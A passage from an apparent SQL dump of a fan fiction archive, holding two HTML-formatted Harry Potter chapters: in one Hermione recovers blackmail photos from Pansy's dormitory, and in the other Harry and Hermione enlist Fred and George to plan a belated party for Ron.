she was safely\ninside again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Hermione Granger; scared,\nsimpering, coward.</i><i style="mso-bidi-font-style:normal">&nbsp; Maybe this wasn&#8217;t such a good idea after\nall.&#8221;</i> She headed back to Gryffindor Tower.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You did what!&#8221;\nRon almost chocked on his toast. &#8220;After all the grief you gave us about\nsneaking around late at night.&nbsp; I can&#8217;t\nbelieve you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh shut it\nRon.&nbsp; I was just trying to see if I could\ntalk to Hagrid; that&#8217;s all,&#8221; Hermione grumbled. &#8220;I would have done it too had\nit not been for that whatever-it-was in the forest.&nbsp; Now I know why it&#8217;s forbidden.&nbsp; I could have been killed!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Not a rare event\nhere at Hogwarts though,&#8221; Harry said with a grin. &#8220;If a week goes by when I&#8217;m\nnot almost killed, I begin to worry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not\nfunny,&#8221; Hermione chastised.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello Hermione,&#8221;\nsaid a harsh voice behind her that could only belong to Pansy Parkinson. &#8220;You\nlook well rested this morning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you\nwant?&#8221; Hermione said coldly, not bothering to turn to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy leaned in\ncloser and began to whisper. &#8220;I just thought you&#8217;d be interested in my latest\nhobby, photography.&nbsp; I got a very good\npicture last night.&#8221;&nbsp; A piece of paper\nfell in front of Hermione, it was a wizard&#8217;s\nphotograph of the Hogwarts courtyard.&nbsp; It\nseemed that it had been taken from far above but you could clearly see\nHermione&#8217;s likeness moving stealthily around next to the forbidden forest,\nlighted wand in her hand.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How did you&#8230;&#8221;\nHermione started breathlessly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Last night was\nour astronomy lesson but it looks like the stars weren&#8217;t the only thing out\nthat night.&nbsp; You shouldn&#8217;t have been skulking\naround the Forbidden Forest with all that racket going\non down there.&nbsp; I go to take a picture of\nwhatever beast is lurking around, but all I see is a little bushy-haired,\nmuggle-born, witch.&nbsp; I wonder what\nProfessor McGonagall would think of her prize student if she saw this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nspeechless.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can keep that\ncopy, Hermione. I took the liberty of saving the negatives.&#8221; Pansy stood\nstraight again. &#8220;By the way, it&#8217;s really nice of you to offer to do all my\nhomework for the rest of the year.&nbsp; I&#8217;ll\nbe sure to give you all my assignments tonight at dinner.&#8221; And with that she\nstrolled off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did that just\nhappen?&#8221; Hermione stammered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t know\nthat girl had it in for you like that,&#8221; Harry said amazed. &#8220;What are you going\nto do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I&#8217;m not\ngoing to do her homework for the rest of the year; that&#8217;s for sure.&#8221; Hermione said\nangrily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She stared down\nat the image of herself, walking cautiously around the outskirts of the\nforbidden forest.&nbsp; It was obvious that\nthe picture was taken late in the evening, you could see the lights on in\nHagrid&#8217;s cabin and the darkness that surrounded everything except her small\nlighted area.&nbsp; Where had Pansy gotten\nsuch a sophisticated wizard&#8217;s camera?&nbsp;\nAll the ones Hermione had seen were black and white.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She was tempted\nto let Pansy go show the picture to McGonagall rather than being blackmailed,\nbut she knew that would never work.&nbsp; Being out of bed after the established curfew was the deputy\nheadmistress&#8217; least favorite infraction of the rules.&nbsp; She had recently taken 40 points from Hufflepuff\nwhen she caught a fifth year student from that house trying to sneak out to\nmeet his girlfriend.&nbsp; The Gryffindors\nwould kill her if she got in trouble.&nbsp;\nThey only had a slight lead over the Slytherins in the house cup.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unsure of what to\ndo, Hermione finished her breakfast in silence.&nbsp;\nEvery now and again, she would glance over at the Slytherin table and\nsee Pansy grinning at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was like that\nthe rest of the day.&nbsp; Every time Hermione\nsaw the hard-faced, Slytherin girl; she would grin mischievously or laugh with\nher friend Millicent.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh how the\nmighty have fallen,&#8221; Pansy said as she passed Hermione in the hall after lunch.\n&#8220;I&#8217;ll be sure to get you that homework tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; True to her word,\nat the end of dinner that night, Pansy walked up to the table and dropped a\nstack of books right in front of Hermione, causing the bowl of pudding she was\neating to topple to the floor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I forgot to\nmention, I have a lot of backed up work that I haven&#8217;t had a chance to get to,&#8221;\nshe said coolly. &#8220;Make sure you have it to me by tomorrow.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was fuming\nnow. &#8220;I can&#8217;t believe that girl!&nbsp; If she\nthinks I&#8217;m just going to let her manipulate me, she&#8217;s got another thing\ncoming.&nbsp; I&#8217;ll show her.&nbsp; She&#8217;ll rule the day she messed with this\nGranger.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had never\nseen her quite this angry before. &#8220;Hermione, you can&#8217;t transfigure her.&nbsp; That would make McGonagall even angrier.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not going to\ntransfigure her,&#8221; Hermione said. &#8220;I&#8217;m going to beat her at her own game.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How?&#8221; Ron asked from the other side of Harry. &#8220;Are you\ngoing to get a camera and take some incriminating pictures of her?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ignored\nthe question. &#8220;Harry, can I borrow your invisibility cloak?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh&#8230;&#8221; Harry\nthought about this.&nbsp; He&#8217;d never even let\nRon borrow the cloak, but the look in Hermione&#8217;s eyes told him that &#8220;yes&#8221; was\nthe only answer he was allowed to give, so he nodded. &#8220;Sure, what for?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If sneaking out\nat night is what got me in this mess, then sneaking out at night is going to\nget me out of it.&#8221; Hermione said matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was clear that\nHarry had no idea what this meant, but he nodded in agreement anyway.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here,&#8221; Harry\nhanded Hermione the folded invisibility cloak.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was nearing\nmidnight and most of the other students had gone to bed.&nbsp; The ones that were still in the common room\ntook no notice of the clandestine transaction that took place near the portrait\nentrance.&nbsp; Hermione had her school bag\nwith her and it would have been obvious to anyone watching that she was about\nto head out of the tower, but usually this action alone didn&#8217;t attract\nattention.&nbsp; Many students snuck out of\nbed after hours, especially the Weasley twins.&nbsp;\nAs long as they didn&#8217;t get caught, or didn&#8217;t get the house into too much\ntrouble, people overlooked it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione tucked\nthe cloak under her arm.&nbsp; She would put\nit on when she was outside the portrait so no one would see.&nbsp; Harry had made it clear that he didn&#8217;t want\nthe other students knowing he had the cloak.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hope you know\nwhat you&#8217;re doing?&#8221; He said with a hint of nervousness in his voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t\nworry.&nbsp; I&#8217;ll be back in an hour or so.&nbsp; Wait up for me, will you?&nbsp; Where&#8217;s Ron anyway?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Asleep already.&nbsp;\nSomething at dinner didn&#8217;t agree with him I think.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well maybe he\nshould stop eating <i style="mso-bidi-font-style:normal">everything</i>,&#8221;\nHermione snickered. &#8220;I&#8217;ll see you.&#8221;&nbsp; She\npushed through the portrait exit.&nbsp; As the\npicture of the fat lady swung into place, she threw the invisibility cloak over\nher and started down the hall slowly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron had\nalways given her grief about the fact that she read so many books, but this\ntime her book knowledge would come in handy. &nbsp;Although she had never visited the living area\nof any of the other houses, they&#8217;re locations weren&#8217;t a huge secret.&nbsp; All the information about the exact location\nof each house was detailed in &#8220;Hogwarts: A History.&#8221;&nbsp;&nbsp; The only tricky part would be getting into\nthe house, but she had a plan for that.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She hurried down\nthe stairs as quietly as possible until she reached the first floor.&nbsp; Then she made her way to the dungeon\nlevel.&nbsp; There were no other students,\nteachers, or ghosts about as she wound her way through the labyrinth of\ncorridors and classrooms.&nbsp; The castle\nlooked different at night and for a moment she was afraid she wouldn&#8217;t be able\nto find the Slytherin house entrance but after several minutes of running her\nhands along the cold walls, she found it.&nbsp;\nIt looked just like the rest of the dungeon walls; dark, damp, and bare,\nbut the stone felt slightly different, almost less solid, and this was all the\nindication that she needed.&nbsp; The\nSlytherin common room was just behind that wall. &nbsp;Now to put her plan into\naction.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She pulled out\nher wand and pressed the tip against the stone wall. &#8220;Quakus Thunderous.&#8221;&nbsp;\nIn response there was a loud thud as if someone had slammed a giant\nsteel mallet into the stone wall.&nbsp; It\neven knocked Hermione back a few paces.&nbsp; The\nstone wall seemed to be unaffected though, as she knew it would be.&nbsp; Hermione wasn&#8217;t trying to break into the\ncommon room; that would be impossible even for her.&nbsp; She just hopped she could get someone&#8217;s\nattention.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few seconds\nlater the stone wall slid open and Draco Malfoy stuck his head out to look\naround. &#8220;What the devil is going on out here?&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He couldn&#8217;t see\nHermione, who was standing only inches away from him with a wide grin on her\nface. Her plan had worked.&nbsp; Satisfied\nthat no one was outside, Draco turned to reenter his common room, and Hermione\nslipped in behind him just before the stone wall sealed itself again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The Slytherin\ncommon room didn&#8217;t look nearly as comfortable as the one in Gryffindor\ntower.&nbsp; The walls and ceiling were the\nsame dingy damp looking stone that comprised the rest of the dungeon level and\neverything about the room seemed dark and depressing.&nbsp; &#8220;<i style="mso-bidi-font-style:normal">No\nwonder Slytherins are always so foul tempered,&#8221;</i> Hermione thought to\nherself. <i style="mso-bidi-font-style:normal">&#8220;If I had to live here, I&#8217;d be\nin a bad mood too.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked around\nthe common room and saw that most of the Slytherin first years\nstill seemed to be up.&nbsp; Pansy was telling\nher group of friends about how she had trapped Hermione into doing her homework\nfor her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And that stupid\nlittle mudblood couldn&#8217;t do anything about it,&#8221; Pansy\nwas saying. &#8220;She thinks she&#8217;s so clever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I am clever, you twit,&#8221;</i> Hermione\nthought to herself.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked at the\ntwo corridors that led to the boys and girls dormitories.&nbsp; She didn&#8217;t know which corridor to try so she decided\nto rely on the gender repelling charm that was supposed to be in all the\nhouses.&nbsp; Hermione started down the right\nhand corridor and was immediately pushed backwards. She tried not to stumble\nand lose the concealment of the invisibility cloak.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Okay, not there.&#8221;</i> Hermione crossed the\ncommon room to the left hand corridor amidst gales of laughter from the\nfirst-year Slytherin girls.&nbsp; She was\ncareful not to bump into Malfoy and his friends as they headed towards the\ncorridor she had just tried.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The left-hand\ncorridor didn&#8217;t repel her and she started past the doors until she saw one\nmarked &#8220;First Years.&#8221;&nbsp; She risked pushing\nopen the door herself, figuring that the girls were all in the common\nroom.&nbsp; She was right, the room was\nempty.&nbsp; Hermione threw off the cloak and\nbegan to hurridly hunt around the four-poster beds in\nthe room.&nbsp; Finally she found what she was\nlooking for, camera negatives, lying one of the nightstands. She held them up\nto the candlelight and saw a miniature version of herself moving around near\nthe forbidden forest. This was it.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione searched\nthe rest of the nightstand but found no other copies of the picture.&nbsp; Then she saw Pansy&#8217;s bag sitting by the bed\nand found a copy in there.&nbsp; She shoved\nthe picture and negatives in her own bag and then pulled out all of the books\nthat Pansy had given her earlier that day.&nbsp;\nShe put these on the nightstand with a grin.&nbsp; Then she picked up her bag and threw the\ninvisibility cloak back over her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Back in the\nSlytherin common room, Pansy and her knot of friends were still talking.&nbsp; They were the only ones left.&nbsp; Hermione paused at the exit.&nbsp; She couldn&#8217;t just open the door or they would\nknow someone was there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So Pansy, why\ndon&#8217;t you show us this picture you have,&#8221; one of the girls said finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pansy stood. &#8220;I\nhave it in my bag; come on, I&#8217;ll show you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione breathed\na sigh of relief.&nbsp; Not only did this mean\nshe could leave without being spotted, but Pansy&#8217;s statement confirmed what she\nhad hoped which was that Pansy didn&#8217;t have any of the pictures or negatives on\nher.&nbsp; Hermione had gotten them all.&nbsp; She decided to make her escape while the\ncommon room was empty. She made a bee line for Gryffindor Tower where Harry was\nstill waiting for her.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I still can&#8217;t\nbelieve you actually pulled it off,&#8221; Harry said at breakfast the next morning.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t believe\nyou broke into Slytherin House,&#8221; Ron added in awe. &#8220;You could have taken us\nwith you.&nbsp; I&#8217;d have liked to pay Malfoy a\nvisit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to explain that her plan wouldn&#8217;t have worked with them tagging along but\nat that moment Pansy, red with anger, stormed up to the Gryffindor table. &#8220;I\ndon&#8217;t know how you did it&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Did what?&#8221;\nHermione looked up at her innocently.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know exactly\nwhat I&#8217;m talking about.&nbsp; You broke into\nmy room.&nbsp; You stole those pictures.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have no idea\nwhat pictures you&#8217;re talking about, Pansy.&nbsp;\nHow could I have broken into your room?&nbsp;\nI can&#8217;t even get into your house, now can I?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think you&#8217;re\nso clever, but I&#8217;ll get you; just you wait.&#8221; Pansy stomped off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ooo, I&#8217;m shaking in anticipation,&#8221; Hermione giggled as she\nreturned to her food.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Granger, 1;\nParkinson 0,&#8221; Ron laughed.&nbsp; Harry and\nHermione joined in.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(240, 13, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; There is still a lot of time to kill before\nthe Easter holidays.&nbsp; So why not throw Ron\na birthday party?&nbsp; Yeah that&#8217;s right, Ron\nhas a birthday too&#8230; isn&#8217;t it amazing how we all forgot?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry\nstarted as he sat down next to her in the library.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shhh,&#8221; she hissed.&nbsp;&nbsp;\nShe was trying to organize her notes for the end of year exams.&nbsp; She&#8217;d already tried to convince Harry and Ron\nto do the same, but they didn&#8217;t seem to think starting to study for finals ten\nweeks in advance was practical.&nbsp; Hermione\nhowever knew that if she wasn&#8217;t top of her class at the end of the year, she&#8217;d\nhave to hear about it all summer from her father, and that wasn&#8217;t something she\nwanted to risk.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; Harry said after five minutes of waiting for her\nto acknowledge him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; she said\ntestily.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve missed\nsomething important.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We did?&#8221;\nHermione stared at the stack of papers and books in front of her.&nbsp; It looked like she had everything she needed\nto start preparing for exams. &#8220;What; did McGonagall give use a hint on what\nwould be on her exams?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry\nsighed. &#8220;Could you get your mind off your studies for one minute?&nbsp; We&#8217;ve missed Ron&#8217;s birthday!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh?&nbsp; When was it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Three weeks ago, March 1st.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&nbsp; Why didn&#8217;t you tell me?&#8221; Hermione asked\nirritably. &#8220;I would have gotten him something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t know,&#8221;\nHarry admitted. &#8220;Ron never told me when his birthday was.&nbsp; The only reason I know now is because I\noverheard his brothers talking about it.&nbsp;\nWe&#8217;ve been so distracted with Snape and the Sorcerer&#8217;s Stone and all; I\nguess he just didn&#8217;t want to add any more complications.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nseriously doubted that.&nbsp; He probably\ndidn&#8217;t tell Harry simply because he didn&#8217;t want Harry to buy him a birthday\npresent.&nbsp; Ron always seemed very touchy\nabout his family&#8217;s financial situation.&nbsp;\nHe had confided this to her one night while they were practicing the\nleg-locker curse.&nbsp; His father was a\nministry employee so he made decent money, but it had always been spread thin\nbecause he had such a large family, seven children in all.&nbsp; Harry on the other hand was practically rich,\ngiven that he had a huge inheritance from his deceased parents.&nbsp; So it was always a sensitive subject if he\ndid something for Ron that involved spending money.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should do\nsomething for him,&#8221; Harry was saying now. &#8220;Make up for the fact that we\ncompletely missed his birthday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nshrugged. &#8220;Like what?&nbsp; We can&#8217;t go out\nand get gifts for him, we&#8217;re not allowed out of the school.&nbsp; Even if we were, I don&#8217;t really have any\nmoney left.&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry\nnodded. &#8220;Still&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What makes you\nthink Ron cares?&nbsp; He hasn&#8217;t mentioned\nanything about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, but I think\nit might actually be bothering him.&nbsp; If\nyou haven&#8217;t noticed, he&#8217;s been in a weird mood lately.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was\nright.&nbsp; Ron had been in a grumpy mood\nlately, and the fact that he hadn&#8217;t really had a birthday celebration may have\nhad something to do with it.&nbsp; It was\nprobably yet another reminder that he was just one of seven Weasley kids.&nbsp; Hermione was an only child and though her\nparent&#8217;s weren&#8217;t rich, she never really had to want to for anything.&nbsp; It must be a completely different experience\nwhen almost everything you have is a hand-me-down and it was bound to be\ndepressing at times.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess you&#8217;re\nright,&#8221; she said finally. &#8220;But what should we do?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry thought for\na moment. &#8220;I know, let&#8217;s throw him a party.&nbsp;\nHe&#8217;d like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;No, he&#8217;d love that,&#8221;</i> Hermione thought\nto herself. <i style="mso-bidi-font-style:normal">&#8220;It&#8217;d be one time when\neverything was about him.&nbsp; Everyone needs\nat least one day like that.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It would have to\nbe before the Easter holidays, that way we can get as many people to come as\npossible.&#8221; Harry continued.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But where would\nwe have it?&nbsp; You know Percy.&nbsp; Even though he&#8217;s Ron&#8217;s brother, he&#8217;d never\nallow us to throw a party in the common room.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We could hold it\nat night, in one of the empty classrooms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Harry, don&#8217;t\nyou think we&#8217;ve pushed the envelop just a bit this\nyear?&nbsp; How could we have a party in one\nof the classrooms without getting caught and where are we going to get food and\nthe other things we need?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry thought for\na moment. &#8220;I think we&#8217;re going to need some help with this, and I know just the\npeople to ask.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and\nHermione took seats across from Fred and George in the common room.&nbsp; &#8220;We need to talk to you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;ll be five\ngalleons an hour,&#8221; Fred said immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry grinned and\ngot right to the point. &#8220;We want to throw a party for Ron&#8217;s birthday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hate to tell\nyou this Harry but ickle Ronnie&#8217;s birthday was three\nweeks ago.&nbsp; It&#8217;s a little late,&#8221; Fred\nsaid.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We know,&#8221; Harry\nsighed. &#8220;Which is why we want to make up for missing it by\nthrowing him a party.&nbsp; But we&#8217;re\ngoing to need your help setting it up.&nbsp;\nWe need a place to have it since we already know Percy won&#8217;t let us have\nit here, and we&#8217;ll also need a way to get food.&nbsp;\nWe figured you could help us in that department.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George faked a\nlook of shock. &#8220;You want us to help you throw a party for are dung-brain\nbrother?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry Harry\nbut there are some lines we just don&#8217;t cross.&#8221; Fred said seriously. &#8220;Don&#8217;t get\nus wrong or anything; we like you, but we have to live up to our commitment to\ntorment and torture all of our siblings as much as possible.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood.\n&#8220;Come on Harry, it&#8217;s obviously these two aren&#8217;t going to help us.&nbsp; I mean, what we&#8217;re asking them to do would\nrequire careful planning and secrecy.&nbsp;\nWe&#8217;d be breaking about a dozen rules and we couldn&#8217;t ask them to do that\nfor us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had\nstruck the right nerve. &#8220;We&#8217;ll since you put it that way,&#8221; George said with an\nevil grin. &#8220;It does sound like an interesting challenge.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred elbowed his\nbrother. &#8220;What George means is; after all this is our favorite brother we&#8217;re\ntalking about.&nbsp; Of course we want to\nhelp.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grinned.\n&#8220;So do you have any ideas of how we can pull it off?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred and George\nstarted laughing so hard that several people in the common room turned and\nstared at them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&#8221; Harry\nasked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you\nthink we are armatures?&nbsp; We do this sort\nof thing all the time.&nbsp; You can&#8217;t\nhonestly think everyone&#8217;s a goodie-two-shoes like you\nHermione.&nbsp; Some of us don&#8217;t use the night\nfor sleeping,&#8221; Fred said with a grin. &#8220;What do you think, George:&nbsp; Weasley Party Plan #6?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sure, that\nshould do for little Ronnikins.&nbsp; We don&#8217;t want to overdue it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave\nthem a questioning look. &#8220;Weasley Party Plan #6?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just leave\neverything to us.&nbsp; All you have to do is\nget everyone to 